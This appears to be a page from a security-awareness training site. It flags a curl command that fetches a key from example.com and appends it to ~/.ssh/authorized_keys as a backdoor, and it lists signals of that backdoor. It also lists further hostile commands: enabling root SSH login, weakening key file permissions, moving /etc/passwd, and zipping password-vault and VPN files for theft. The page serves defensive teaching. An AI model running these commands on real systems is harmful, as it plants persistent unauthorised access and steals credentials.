Dangerous
curl -s https://example.com/id.pub >> ~/.ssh/authorized_keyslinux · bash · Expert
Appends a key fetched from the internet to the list of keys allowed to log in as you. It creates no files and prints nothing, and afterwards whoever holds the matching private key can authenticate as you indefinitely.
Signals to notice
- Remote key added to authorised keys
- Grants durable remote access
- Append leaves existing keys intact so nothing appears broken
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedmv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedGet-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipNightmare